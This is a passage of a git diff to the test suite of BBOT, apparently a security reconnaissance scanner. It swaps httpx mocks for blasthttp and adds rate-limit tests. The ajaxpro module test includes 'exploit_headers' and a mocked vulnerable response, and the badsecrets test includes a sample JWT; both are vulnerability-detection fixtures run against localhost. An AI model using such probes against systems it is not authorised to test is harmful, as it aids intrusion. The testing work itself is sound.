stats.event_produced(mock_event("URL", httpx_mod, parent=parent)) + stats.event_produced(mock_event("URL", http_mod, parent=parent)) - # 2) ffuf_shortnames discovers URL_UNVERIFIED, httpx verifies → ffuf_shortnames gets credit + # 2) ffuf_shortnames discovers URL_UNVERIFIED, http verifies → ffuf_shortnames gets credit for _ in range(3): parent = mock_event("URL_UNVERIFIED", ffuf_mod) - stats.event_produced(mock_event("URL", httpx_mod, parent=parent)) + stats.event_produced(mock_event("URL", http_mod, parent=parent)) - # 3) ffuf discovers URL_UNVERIFIED, httpx verifies → ffuf gets credit + # 3) ffuf discovers URL_UNVERIFIED, http verifies → ffuf gets credit parent = mock_event("URL_UNVERIFIED", ffuf2_mod) - stats.event_produced(mock_event("URL", httpx_mod, parent=parent)) + stats.event_produced(mock_event("URL", http_mod, parent=parent)) - # 4) speculate (internal module) creates URL_UNVERIFIED, httpx verifies → httpx keeps credit + # 4) speculate (internal module) creates URL_UNVERIFIED, http verifies → http keeps credit for _ in range(4): parent = mock_event("URL_UNVERIFIED", speculate_mod) - stats.event_produced(mock_event("URL", httpx_mod, parent=parent)) + stats.event_produced(mock_event("URL", http_mod, parent=parent)) - # 5) robots discovers URL_UNVERIFIED, httpx verifies → robots gets credit + # 5) robots discovers URL_UNVERIFIED, http verifies → robots gets credit for _ in range(2): parent = mock_event("URL_UNVERIFIED", robots_mod) - stats.event_produced(mock_event("URL", httpx_mod, parent=parent)) + stats.event_produced(mock_event("URL", http_mod, parent=parent)) - # 6) httpx discovers URL directly from OPEN_TCP_PORT (no URL_UNVERIFIED parent) → httpx keeps credit + # 6) http discovers URL directly from OPEN_TCP_PORT (no URL_UNVERIFIED parent) → http keeps credit for _ in range(2): parent = mock_event("OPEN_TCP_PORT", mock_module("portscan")) - stats.event_produced(mock_event("URL", httpx_mod, parent=parent)) + stats.event_produced(mock_event("URL", http_mod, parent=parent)) # 7) non-URL event types are unaffected stats.event_produced(mock_event("DNS_NAME", mock_module("CNAME"))) @@ -270,8 +270,8 @@ def mock_event(type, module, parent=None): assert stats.module_stats["ffuf_shortnames"].produced == {"URL": 3} assert stats.module_stats["ffuf"].produced == {"URL": 1} assert stats.module_stats["robots"].produced == {"URL": 2} - # httpx gets credit for speculate's 4 URLs + 2 from OPEN_TCP_PORT = 6 - assert stats.module_stats["httpx"].produced == {"URL": 6} + # http gets credit for speculate's 4 URLs + 2 from OPEN_TCP_PORT = 6 + assert stats.module_stats["http"].produced == {"URL": 6} assert "speculate" not in stats.module_stats assert stats.module_stats["CNAME"].produced == {"DNS_NAME": 1} assert stats.module_stats["cloudcheck"].produced == {"STORAGE_BUCKET": 1} @@ -284,7 +284,7 @@ def mock_event(type, module, parent=None): # build a dict of module_name -> produced_str from the table table_dict = {row[0]: row[1] for row in rows} - assert table_dict["httpx"] == "6 (6 URL)" + assert table_dict["http"] == "6 (6 URL)" assert table_dict["excavate"] == "5 (5 URL)" assert table_dict["ffuf_shortnames"] == "3 (3 URL)" assert table_dict["robots"] == "2 (2 URL)" diff --git a/bbot/test/test_step_1/test_scope.py b/bbot/test/test_step_1/test_scope.py index d89c2df07b..52ee4462a1 100644 --- a/bbot/test/test_step_1/test_scope.py +++ b/bbot/test/test_step_1/test_scope.py @@ -4,7 +4,7 @@ class TestScopeBaseline(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx"] + modules_overrides = ["http"] config_overrides = {"omit_event_types": []} async def setup_after_prep(self, module_test): diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index fbaf6f6f97..1979a0e28a 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -1,11 +1,12 @@ import re -import httpx + +from bbot.core.helpers.web.blast_response import BlasthttpHTTPError from ..bbot_fixtures import * @pytest.mark.asyncio -async def test_web_engine(bbot_scanner, bbot_httpserver, httpx_mock): +async def test_web(bbot_scanner, bbot_httpserver, blasthttp_mock): from werkzeug.wrappers import Response def server_handler(request): @@ -59,13 +60,13 @@ def server_handler(request): except WebError as e: assert hasattr(e, "response") assert e.response is None - with pytest.raises(httpx.HTTPStatusError): + with pytest.raises(BlasthttpHTTPError): response = await scan.helpers.request(bbot_httpserver.url_for("/nope"), raise_error=True) response.raise_for_status() try: response = await scan.helpers.request(bbot_httpserver.url_for("/nope"), raise_error=True) response.raise_for_status() - except httpx.HTTPStatusError as e: + except BlasthttpHTTPError as e: assert hasattr(e, "response") assert e.response.status_code == 500 @@ -95,7 +96,7 @@ def server_handler(request): @pytest.mark.asyncio -async def test_request_batch_cancellation(bbot_scanner, bbot_httpserver, httpx_mock): +async def test_request_batch_cancellation(bbot_scanner, bbot_httpserver, blasthttp_mock): import time from werkzeug.wrappers import Response @@ -134,12 +135,12 @@ def server_handler(request): @pytest.mark.asyncio -async def test_web_helpers(bbot_scanner, bbot_httpserver, httpx_mock): +async def test_web_helpers(bbot_scanner, bbot_httpserver, blasthttp_mock): # json conversion scan = bbot_scanner("evilcorp.com") await scan._prep() url = "http://www.evilcorp.com/json_test?a=b" - httpx_mock.add_response(url=url, text="hello\nworld") + blasthttp_mock.add_response(url=url, text="hello\nworld") response = await scan.helpers.web.request(url) j = scan.helpers.response_to_json(response) assert j["status_code"] == 200 @@ -347,47 +348,59 @@ def sync_callback(data): @pytest.mark.asyncio -async def test_web_curl(bbot_scanner, bbot_httpserver): +async def test_web_request_target(bbot_scanner, bbot_httpserver): + """Test request() with request_target, ignore_bbot_global_settings, and other advanced kwargs.""" scan = bbot_scanner("127.0.0.1") await scan._prep() helpers = scan.helpers - url = bbot_httpserver.url_for("/curl") - bbot_httpserver.expect_request(uri="/curl").respond_with_data("curl_yep") - bbot_httpserver.expect_request(uri="/index.html").respond_with_data("curl_yep_index") - assert await helpers.curl(url=url) == "curl_yep" - assert await helpers.curl(url=url, ignore_bbot_global_settings=True) == "curl_yep" - assert (await helpers.curl(url=url, head_mode=True)).startswith("HTTP/") - assert await helpers.curl(url=url, raw_body="body") == "curl_yep" - assert ( - await helpers.curl( - url=url, - raw_path=True, - headers={"test": "test", "test2": ["test2"]}, - ignore_bbot_global_settings=False, - post_data={"test": "test"}, - method="POST", - cookies={"test": "test"}, - path_override="/index.html", - ) - == "curl_yep_index" + url = bbot_httpserver.url_for("/test-advanced") + bbot_httpserver.expect_request(uri="/test-advanced").respond_with_data("advanced_yep") + bbot_httpserver.expect_request(uri="/index.html").respond_with_data("index_yep") + + # basic request + r = await helpers.request(url=url) + assert r.text == "advanced_yep" + + # ignore_bbot_global_settings + r = await helpers.request(url=url, ignore_bbot_global_settings=True) + assert r.text == "advanced_yep" + + # HEAD method + r = await helpers.request(url=url, method="HEAD") + assert r.status_code == 200 + + # body kwarg + r = await helpers.request(url=url, body="body") + assert r.text == "advanced_yep" + + # request_target overrides the HTTP request-line path + r = await helpers.request( + url=url, + headers={"test": "test", "test2": ["test2"]}, + data={"test": "test"}, + method="POST", + cookies={"test": "test"}, + request_target="/index.html", ) - # test custom headers - bbot_httpserver.expect_request("/test-custom-http-headers-curl", headers={"test": "header"}).respond_with_data( - "curl_yep_headers" + assert r.text == "index_yep" + + # test custom headers from scan config + bbot_httpserver.expect_request("/test-custom-http-headers-advanced", headers={"test": "header"}).respond_with_data( + "headers_yep" ) - headers_url = bbot_httpserver.url_for("/test-custom-http-headers-curl") - curl_result = await helpers.curl(url=headers_url) - assert curl_result == "curl_yep_headers" + headers_url = bbot_httpserver.url_for("/test-custom-http-headers-advanced") + r = await helpers.request(url=headers_url) + assert r.text == "headers_yep" await scan._cleanup() @pytest.mark.asyncio -async def test_web_http_compare(httpx_mock, bbot_scanner): +async def test_web_http_compare(blasthttp_mock, bbot_scanner): scan = bbot_scanner() await scan._prep() helpers = scan.helpers - httpx_mock.add_response(url=re.compile(r"http://www\.example\.com.*"), text="wat") + blasthttp_mock.add_response(url=re.compile(r"http://www\.example\.com.*"), text="wat") compare_helper = helpers.http_compare("http://www.example.com") await compare_helper.compare("http://www.example.com", headers={"asdf": "asdf"}) await compare_helper.compare("http://www.example.com", cookies={"asdf": "asdf"}) @@ -448,46 +461,45 @@ async def test_http_ssl(bbot_scanner, bbot_httpserver_ssl): @pytest.mark.asyncio -async def test_web_cookies(bbot_scanner, httpx_mock): - import httpx - from bbot.core.helpers.web.client import BBOTAsyncClient +async def test_web_cookies(bbot_scanner, bbot_httpserver): + from werkzeug.wrappers import Response - # make sure cookies work when enabled - httpx_mock.add_response(url="http://www.evilcorp.com/cookies", headers=[("set-cookie", "wat=asdf; path=/")]) - scan = bbot_scanner() - await scan._prep() + def set_cookie_handler(request): + resp = Response("ok") + resp.set_cookie("wat", "asdf", path="/") + return resp - client = BBOTAsyncClient(persist_cookies=True, _config=scan.config, _target=scan.target) - r = await client.get(url="http://www.evilcorp.com/cookies") - assert r.cookies["wat"] == "asdf" - httpx_mock.add_response(url="http://www.evilcorp.com/cookies/test", match_headers={"Cookie": "wat=asdf"}) - r = await client.get(url="http://www.evilcorp.com/cookies/test") - # make sure we can manually send cookies - httpx_mock.add_response(url="http://www.evilcorp.com/cookies/test2", match_headers={"Cookie": "asdf=wat"}) - r = await scan.helpers.request(url="http://www.evilcorp.com/cookies/test2", cookies={"asdf": "wat"}) - assert client.cookies["wat"] == "asdf" + def echo_cookies_handler(request): + cookies = request.cookies + cookie_str = "; ".join([f"{key}={value}" for key, value in cookies.items()]) + return Response(f"Cookies: {cookie_str}") - await scan._cleanup() + bbot_httpserver.expect_request(uri="/setcookie").respond_with_handler(set_cookie_handler) + bbot_httpserver.expect_request(uri="/echocookie").respond_with_handler(echo_cookies_handler) - # make sure they don't when they're not - httpx_mock.add_response(url="http://www2.evilcorp.com/cookies", headers=[("set-cookie", "wats=fdsa; path=/")]) - scan = bbot_scanner() + scan = bbot_scanner("127.0.0.1") await scan._prep() - client2 = BBOTAsyncClient(persist_cookies=False, _config=scan.config, _target=scan.target) - r = await client2.get(url="http://www2.evilcorp.com/cookies") - # make sure we can access the cookies - assert "wats" in r.cookies - httpx_mock.add_response(url="http://www2.evilcorp.com/cookies/test", match_headers={"Cookie": "wats=fdsa"}) - # but that they're not sent in the response - with pytest.raises(httpx.TimeoutException): - r = await client2.get(url="http://www2.evilcorp.com/cookies/test") - # make sure cookies are sent - r = await client2.get(url="http://www2.evilcorp.com/cookies/test", cookies={"wats": "fdsa"}) - assert r.status_code == 200 - # make sure we can manually send cookies - httpx_mock.add_response(url="http://www2.evilcorp.com/cookies/test2", match_headers={"Cookie": "fdsa=wats"}) - r = await client2.get(url="http://www2.evilcorp.com/cookies/test2", cookies={"fdsa": "wats"}) - assert not client2.cookies + + # make sure Set-Cookie headers are parsed in the response + r = await scan.helpers.request(bbot_httpserver.url_for("/setcookie")) + assert r is not None + assert r.cookies.get("wat") == "asdf" + + # blasthttp does NOT persist cookies across requests (stateless by design) + r2 = await scan.helpers.request(bbot_httpserver.url_for("/echocookie")) + assert r2 is not None + assert "wat=asdf" not in r2.text + + # but manually sending cookies should work + r3 = await scan.helpers.request(bbot_httpserver.url_for("/echocookie"), cookies={"wat": "asdf"}) + assert r3 is not None + assert "wat=asdf" in r3.text + + # make sure multiple cookies are sent + r4 = await scan.helpers.request(bbot_httpserver.url_for("/echocookie"), cookies={"foo": "bar", "baz": "qux"}) + assert r4 is not None + assert "foo=bar" in r4.text + assert "baz=qux" in r4.text await scan._cleanup() @@ -541,6 +553,7 @@ def handler(request): bbot_httpserver.expect_request(uri=endpoint).respond_with_handler(handler) scan = bbot_scanner("127.0.0.1") + await scan._prep() module = BaseModule(scan) module.api_key = ["k1", "k2"] diff --git a/bbot/test/test_step_1/test_web_rate_limit.py b/bbot/test/test_step_1/test_web_rate_limit.py new file mode 100644 index 0000000000..eb8b9a0cdb --- /dev/null +++ b/bbot/test/test_step_1/test_web_rate_limit.py @@ -0,0 +1,60 @@ +import time + +from ..bbot_fixtures import * + + +@pytest.mark.asyncio +async def test_web_rate_limit(bbot_scanner, bbot_httpserver): + """Verify that http_rate_limit throttles requests to the configured RPS.""" + bbot_httpserver.expect_request(uri="/rate_limit_test").respond_with_data("ok") + + # 10 requests per second = ~100ms between requests + rps = 10 + num_requests = 20 + scan = bbot_scanner("127.0.0.1", config={"web": {"http_rate_limit": rps}}) + await scan._prep() + + # verify the rate limit was applied to the blasthttp client + assert scan.helpers.web.client is scan.helpers.blasthttp + + url = bbot_httpserver.url_for("/rate_limit_test") + request_times = [] + for _ in range(num_requests): + r = await scan.helpers.request(url) + request_times.append(time.monotonic()) + assert r.status_code == 200 + + elapsed = request_times[-1] - request_times[0] + # at 10 rps, 20 requests should take at least ~1.9 seconds + # (19 intervals at 100ms each) + # use a conservative lower bound to avoid flakiness + min_expected = (num_requests - 1) / rps * 0.7 + assert elapsed >= min_expected, ( + f"Rate limiting not working: {num_requests} requests completed in {elapsed:.2f}s " + f"(expected >= {min_expected:.2f}s at {rps} rps)" + ) + + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_web_no_rate_limit(bbot_scanner, bbot_httpserver): + """Verify that with no rate limit (default), requests are not throttled.""" + bbot_httpserver.expect_request(uri="/no_rate_limit_test").respond_with_data("ok") + + num_requests = 20 + scan = bbot_scanner("127.0.0.1") + await scan._prep() + + url = bbot_httpserver.url_for("/no_rate_limit_test") + request_times = [] + for _ in range(num_requests): + r = await scan.helpers.request(url) + request_times.append(time.monotonic()) + assert r.status_code == 200 + + elapsed = request_times[-1] - request_times[0] + # without rate limiting, 20 requests to localhost should complete well under 2 seconds + assert elapsed < 2.0, f"Requests unexpectedly slow without rate limiting: {elapsed:.2f}s" + + await scan._cleanup() diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index ffb4ae0d46..534e9f66df 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -25,7 +25,7 @@ class ModuleTestBase: class ModuleTest: def __init__( - self, module_test_base, httpx_mock, httpserver, httpserver_ssl, monkeypatch, request, caplog, capsys + self, module_test_base, blasthttp_mock, httpserver, httpserver_ssl, monkeypatch, request, caplog, capsys ): self.name = module_test_base.name self.config = OmegaConf.merge(CORE.config, OmegaConf.create(module_test_base.config_overrides)) @@ -33,7 +33,7 @@ def __init__( self.caplog = caplog self.capsys = capsys - self.httpx_mock = httpx_mock + self.blasthttp_mock = blasthttp_mock self.httpserver = httpserver self.httpserver_ssl = httpserver_ssl self.monkeypatch = monkeypatch @@ -92,7 +92,7 @@ def module(self): @pytest_asyncio.fixture async def module_test( - self, httpx_mock, bbot_httpserver, bbot_httpserver_ssl, monkeypatch, request, caplog, capsys + self, blasthttp_mock, bbot_httpserver, bbot_httpserver_ssl, monkeypatch, request, caplog, capsys ): # If a test uses docker, we can't run it in the distro tests if os.getenv("BBOT_DISTRO_TESTS") and self.skip_distro_tests: @@ -100,7 +100,7 @@ async def module_test( self.log.info(f"Starting {self.name} module test") module_test = self.ModuleTest( - self, httpx_mock, bbot_httpserver, bbot_httpserver_ssl, monkeypatch, request, caplog, capsys + self, blasthttp_mock, bbot_httpserver, bbot_httpserver_ssl, monkeypatch, request, caplog, capsys ) self.log.debug("Executing setup_before_prep()") await self.setup_before_prep(module_test) diff --git a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py index 7cbbbb783c..21c44f8519 100644 --- a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py +++ b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py @@ -3,7 +3,7 @@ class TestAjaxpro(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "ajaxpro"] + modules_overrides = ["http", "ajaxpro"] exploit_headers = {"X-Ajaxpro-Method": "AddItem", "Content-Type": "text/json; charset=UTF-8"} exploit_response = """ null; r.error = {"Message":"Constructor on type 'AjaxPro.Services.ICartService' not found.","Type":"System.MissingMethodException"};/* diff --git a/bbot/test/test_step_2/module_tests/test_module_anubisdb.py b/bbot/test/test_step_2/module_tests/test_module_anubisdb.py index 7b1bc6659d..aef3f0c73e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_anubisdb.py +++ b/bbot/test/test_step_2/module_tests/test_module_anubisdb.py @@ -4,7 +4,7 @@ class TestAnubisdb(ModuleTestBase): async def setup_after_prep(self, module_test): module_test.module.abort_if = lambda e: False - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://jldc.me/anubis/subdomains/blacklanternsecurity.com", json=["asdf.blacklanternsecurity.com", "zzzz.blacklanternsecurity.com"], ) diff --git a/bbot/test/test_step_2/module_tests/test_module_apkpure.py b/bbot/test/test_step_2/module_tests/test_module_apkpure.py index 236eb943df..adc687a7b0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_apkpure.py +++ b/bbot/test/test_step_2/module_tests/test_module_apkpure.py @@ -10,7 +10,7 @@ class TestAPKPure(ModuleTestBase): async def setup_after_prep(self, module_test): await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.99"]}}) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://play.google.com/store/search?q=blacklanternsecurity&c=apps", text=""" @@ -22,7 +22,7 @@ async def setup_after_prep(self, module_test): """, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://play.google.com/store/apps/details?id=com.bbot.test", text=""" @@ -36,7 +36,7 @@ async def setup_after_prep(self, module_test): """, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://d.apkpure.com/b/XAPK/com.bbot.test?version=latest", content=self.apk_file, headers={ diff --git a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py index f86578ebac..1ce91d45fc 100644 --- a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py +++ b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py @@ -4,7 +4,7 @@ class TestAspnetBinExposure(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "aspnet_bin_exposure"] + modules_overrides = ["http", "aspnet_bin_exposure"] config_overrides = { "modules": { "aspnet_bin_exposure": { diff --git a/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py b/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py index 787ecbdba1..419f15aa3a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py +++ b/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py @@ -23,7 +23,7 @@ async def setup_after_prep(self, module_test): email_domains.append("blacklanternsecurity.onmicrosoft.com") # Mock azmap.dev response - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://azmap.dev/api/tenant?domain=blacklanternsecurity.com&extract=true", json={ "tenant_id": "test-tenant-id", @@ -33,7 +33,7 @@ async def setup_after_prep(self, module_test): ) # Mock ODC endpoint - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://odc.officeapps.live.com/odc/v2.1/federationprovider?domain=blacklanternsecurity.com", json={}, ) @@ -53,7 +53,7 @@ async def setup_after_prep(self, module_test): "cloud_instance_name": "login.microsoftonline.us", } - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://login.microsoftonline.com/blacklanternsecurity.com/.well-known/openid-configuration", json=openid_config, ) @@ -67,26 +67,26 @@ async def setup_after_prep(self, module_test): if self.federation_url: getcred_response["Credentials"]["FederationRedirectUrl"] = self.federation_url - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://login.microsoftonline.com/common/GetCredentialType", method="POST", json=getcred_response, ) # Mock UserRealm v2.0 - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://login.microsoftonline.com/common/userrealm/test@blacklanternsecurity.com?api-version=2.0", json={}, ) # Mock MTA-STS if self.exchange_online: - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://mta-sts.blacklanternsecurity.com/.well-known/mta-sts.txt", text="version: STSv1\nmode: enforce\nmx: blacklanternsecurity-com.mail.protection.outlook.com\nmax_age: 604800", ) else: - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://mta-sts.blacklanternsecurity.com/.well-known/mta-sts.txt", status_code=404, ) @@ -94,7 +94,7 @@ async def setup_after_prep(self, module_test): # Mock Directory Sync check if needed if self.include_onmicrosoft: sync_result = 0 if self.directory_sync_enabled else 1 - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://login.microsoftonline.com/common/GetCredentialType", method="POST", json={"IfExistsResult": sync_result}, @@ -120,17 +120,17 @@ class TestAzure_Tenant(AzureTenantTestBase): async def setup_after_prep(self, module_test): # Use custom response for this test - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://azmap.dev/api/tenant?domain=blacklanternsecurity.com&extract=true", json=self.tenant_response, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://odc.officeapps.live.com/odc/v2.1/federationprovider?domain=blacklanternsecurity.com", json={"TenantId": "cc74fc12-4142-400e-a653-f98bdeadbeef"}, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://login.microsoftonline.com/blacklanternsecurity.com/.well-known/openid-configuration", json={ "tenant_region_scope": "NA", @@ -138,23 +138,23 @@ async def setup_after_prep(self, module_test): }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://login.microsoftonline.com/common/GetCredentialType", json={"EstsProperties": {}, "Credentials": {}}, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://login.microsoftonline.com/common/userrealm/test@blacklanternsecurity.com?api-version=2.0", json={"NameSpaceType": "Managed"}, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://mta-sts.blacklanternsecurity.com/.well-known/mta-sts.txt", status_code=404, ) # Directory sync check - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://login.microsoftonline.com/common/GetCredentialType", json={"IfExistsResult": 1}, ) diff --git a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py index e5143767d2..2e42521e8d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py +++ b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py @@ -30,7 +30,7 @@ class TestBadSecrets(ModuleTestBase):

""" - modules_overrides = ["badsecrets", "httpx"] + modules_overrides = ["badsecrets", "http"] async def setup_after_prep(self, module_test): expect_args = {"uri": "/test.aspx"} @@ -141,7 +141,7 @@ class TestBadSecrets_JWTIdentifyOnly(ModuleTestBase): "http://127.0.0.1:8888/vuln_jwt.aspx", "http://127.0.0.1:8888/safe_jwt.aspx", ] - modules_overrides = ["badsecrets", "httpx"] + modules_overrides = ["badsecrets", "http"] # JWT signed with a secret NOT in badsecrets' wordlists (will produce IdentifyOnly) safe_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0In0.BHvEIdlrTFS4VXvT9nUOycVzokhfIYSxJa7DXNz_h0o" diff --git a/bbot/test/test_step_2/module_tests/test_module_bevigil.py b/bbot/test/test_step_2/module_tests/test_module_bevigil.py index 7f1cb5d79d..c27a2276e7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bevigil.py +++ b/bbot/test/test_step_2/module_tests/test_module_bevigil.py @@ -8,7 +8,7 @@ class TestBeVigil(ModuleTestBase): config_overrides = {"modules": {"bevigil": {"api_key": "asdf", "urls": True}}} async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://osint.bevigil.com/api/blacklanternsecurity.com/subdomains/", match_headers={"X-Access-Token": "asdf"}, json={ @@ -18,7 +18,7 @@ async def setup_after_prep(self, module_test): ], }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://osint.bevigil.com/api/blacklanternsecurity.com/urls/", json={"domain": "blacklanternsecurity.com", "urls": ["https://asdf.blacklanternsecurity.com"]}, ) @@ -34,7 +34,7 @@ class TestBeVigilMultiKey(TestBeVigil): config_overrides = {"modules": {"bevigil": {"api_key": api_keys, "urls": True}}} async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://osint.bevigil.com/api/blacklanternsecurity.com/subdomains/", match_headers={"X-Access-Token": "fdsa"}, json={ @@ -44,7 +44,7 @@ async def setup_after_prep(self, module_test): ], }, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( match_headers={"X-Access-Token": "asdf"}, url="https://osint.bevigil.com/api/blacklanternsecurity.com/urls/", json={"domain": "blacklanternsecurity.com", "urls": ["https://asdf.blacklanternsecurity.com"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py b/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py index 55220da36b..94e6140df2 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py @@ -36,7 +36,7 @@ def module_name(self): @property def modules_overrides(self): - return ["excavate", "speculate", "httpx", self.module_name, "cloudcheck"] + return ["excavate", "speculate", "http", self.module_name, "cloudcheck"] def url_setup(self): self.url_1 = f"https://{self.random_bucket_1}/" @@ -60,16 +60,16 @@ async def setup_after_prep(self, module_test): expect_args={"method": "GET", "uri": "/"}, respond_args={"response_data": self.website_body} ) if module_test.module.supports_open_check: - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url=self.url_2, text=self.open_bucket_body, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url=self.url_3, text="", ) if self.nonexistent_is_404: - module_test.httpx_mock.add_response(url=re.compile(".*"), text="", status_code=404) + module_test.blasthttp_mock.add_response(url=re.compile(".*"), text="", status_code=404) def check(self, module_test, events): storage_buckets = [e for e in events if e.type == "STORAGE_BUCKET"] diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py b/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py index da939222ed..5fae2d25bd 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py @@ -4,7 +4,7 @@ class TestBucket_File_Enum(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - modules_overrides = ["bucket_file_enum", "filedownload", "httpx", "excavate", "cloudcheck"] + modules_overrides = ["bucket_file_enum", "filedownload", "http", "excavate", "cloudcheck"] download_dir = bbot_test_dir / "test_bucket_file_enum" config_overrides = { @@ -23,16 +23,16 @@ class TestBucket_File_Enum(ModuleTestBase): async def setup_before_prep(self, module_test): module_test.httpserver.expect_request("/").respond_with_data(f'') - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url=self.open_bucket_url, text=self.open_bucket_body, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url=f"{self.open_bucket_url}test.pdf", text=self.pdf_data, headers={"Content-Type": "application/pdf"}, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url=f"{self.open_bucket_url}test.css", text="", ) diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_google.py b/bbot/test/test_step_2/module_tests/test_module_bucket_google.py index 71100a9476..65d241b681 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bucket_google.py +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_google.py @@ -23,5 +23,5 @@ def bucket_setup(self): def url_setup(self): self.url_1 = f"https://{random_bucket_name_1}.storage.googleapis.com" - self.url_2 = f"https://www.googleapis.com/storage/v1/b/{random_bucket_name_2}/iam/testPermissions?&permissions=storage.buckets.get&permissions=storage.buckets.list&permissions=storage.buckets.create&permissions=storage.buckets.delete&permissions=storage.buckets.setIamPolicy&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.setIamPolicy" + self.url_2 = f"https://www.googleapis.com/storage/v1/b/{random_bucket_name_2}/iam/testPermissions?permissions=storage.buckets.get&permissions=storage.buckets.list&permissions=storage.buckets.create&permissions=storage.buckets.delete&permissions=storage.buckets.setIamPolicy&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.setIamPolicy" self.url_3 = f"https://www.googleapis.com/storage/v1/b/{random_bucket_name_3}" diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_microsoft.py b/bbot/test/test_step_2/module_tests/test_module_bucket_microsoft.py index 87ea18a440..fbcfa78050 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bucket_microsoft.py +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_microsoft.py @@ -21,8 +21,8 @@ class TestBucket_Microsoft_NoDup(ModuleTestBase): module_name = "bucket_microsoft" config_overrides = {"cloudcheck": True} - async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( + async def setup_before_prep(self, module_test): + module_test.blasthttp_mock.add_response( url="https://tesla.blob.core.windows.net/tesla?restype=container", text="", ) diff --git a/bbot/test/test_step_2/module_tests/test_module_bufferoverrun.py b/bbot/test/test_step_2/module_tests/test_module_bufferoverrun.py index e77127bc38..8f99b5873a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bufferoverrun.py +++ b/bbot/test/test_step_2/module_tests/test_module_bufferoverrun.py @@ -6,7 +6,7 @@ class TestBufferOverrun(ModuleTestBase): async def setup_before_prep(self, module_test): # Mock response for non-commercial API - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( 